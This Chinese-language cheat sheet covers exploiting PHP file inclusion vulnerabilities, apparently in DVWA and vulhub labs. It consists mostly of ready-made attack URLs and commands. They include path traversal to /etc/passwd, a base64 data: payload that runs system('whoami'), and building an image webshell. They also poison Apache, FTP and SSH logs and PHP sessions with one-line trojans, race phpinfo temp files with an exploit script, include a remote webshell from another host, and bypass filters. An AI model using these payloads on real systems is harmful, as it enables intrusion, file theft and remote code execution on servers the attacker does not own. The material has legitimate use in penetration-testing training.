php中引起文件包含漏洞的4个函数:
include()、include_once()、require()、require_once()
本地文件包含
远程文件包含,需要php.ini中配置allow_url_fopen = On,allow_url_include = On
1、读文件
http://192.168.80.128/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=index.php
http://192.168.80.128/dvwa/vulnerabilities/fi/?page=../../../../../../etc/passwd
2、写文件
(1)input
条件:
allow_url_include = On
allow_url_fopen不做要求
")?>
(2)data
条件:
php版本大于等于php5.2
allow_url_fopen = On
allow_url_include = On
http://192.168.88.130/dvwa/vulnerabilities/fi/?page=data:text/plain,
http://192.168.88.130/dvwa/vulnerabilities/fi/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==
3、包含图片马
copy 1.jpg/b+1.php 2.jpg
http://192.168.80.128/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/2.jpg
4、包含日志文件
(1)Apache日志
url中插入一句话,为了防止url编码,需要在burp中访问
user-agent中插入一句话
使用菜刀连接
http://192.168.80.131/dvwa/vulnerabilities/fi/?page=../../../../../../var/log/apache2/access.log
(2)ftp日志
ftp连接时,用户名输入一句话木马
http://192.168.80.131/dvwa/vulnerabilities/fi/?page=../../../../../../var/log/vsftpd.log
(3)ssh日志
ssh -p 22 ""@192.168.88.130
访问http://192.168.88.130/dvwa/vulnerabilities/fi/?page=../../../../../var/log/auth.log
5、包含session文件
利用:结合phpmyadmin,因为phpmyadmin每次登录时,会带上session
session文件的绝对路径可在phpinfo中查看,session.save_path
使用以下命令可查看到session文件中的登录信息
strings /var/lib/php5/sess_0147039e2884573b9034866a4c212ec336abc054 | grep 11112222
登录phpmyadmin时,用户名输入一句话木马,再包含session文件,可getshell
使用菜刀连接
http://192.168.88.130/dvwa/vulnerabilities/fi/?page=../../../../../var/lib/php5/sess_0147039e2884573b9034866a4c212ec336abc054
6、包含临时文件
php中上传文件时,会先创建临时文件;结合竞争条件,在临时文件被删除前,利用文件包含漏洞包含临时文件。
利用:结合phpinfo,因为向phpinfo页面发送数据包后,从返回包中可匹配出临时文件名。
步骤:
1、发送包含webshell的数据包给phpinfo页面,数据包中塞入大量垃圾数据
2、php默认的输出缓冲区大小为4096字节
3、我们每次读取4096字节,只要读到临时文件名,就立即发送第二个数据包
4、第二个数据包,就是文件包含漏洞利用的数据包
5、利用这个时间差,即可成功包含临时文件,实现getshell
python exp.py 192.168.88.152 8080 100
访问http://192.168.88.152:8080/lfi.php?file=/tmp/g&1=system(%27id%27);
参考:https://vulhub.org/#/environments/php/inclusion/
7、包含远程文件
条件:
allow_url_fopen = On
allow_url_include = On
http://192.168.80.131/dvwa/vulnerabilities/fi/?page=http://192.168.123.101/caidao.jpg
8、绕过姿势
本地文件包含的绕过
(1)%00 截断(php版本小于5.3)
http://192.168.80.131/dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd%00
(2)编码%2e%2e%2f
http://192.168.80.131/dvwa/vulnerabilities/fi/?page=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
远程文件包含的绕过
(1)?号
http://192.168.88.130/dvwa/vulnerabilities/fi/?page=http://192.168.40.155/1.txt?
(2)#号
http://192.168.88.130/dvwa/vulnerabilities/fi/?page=http://192.168.40.155/1.txt%23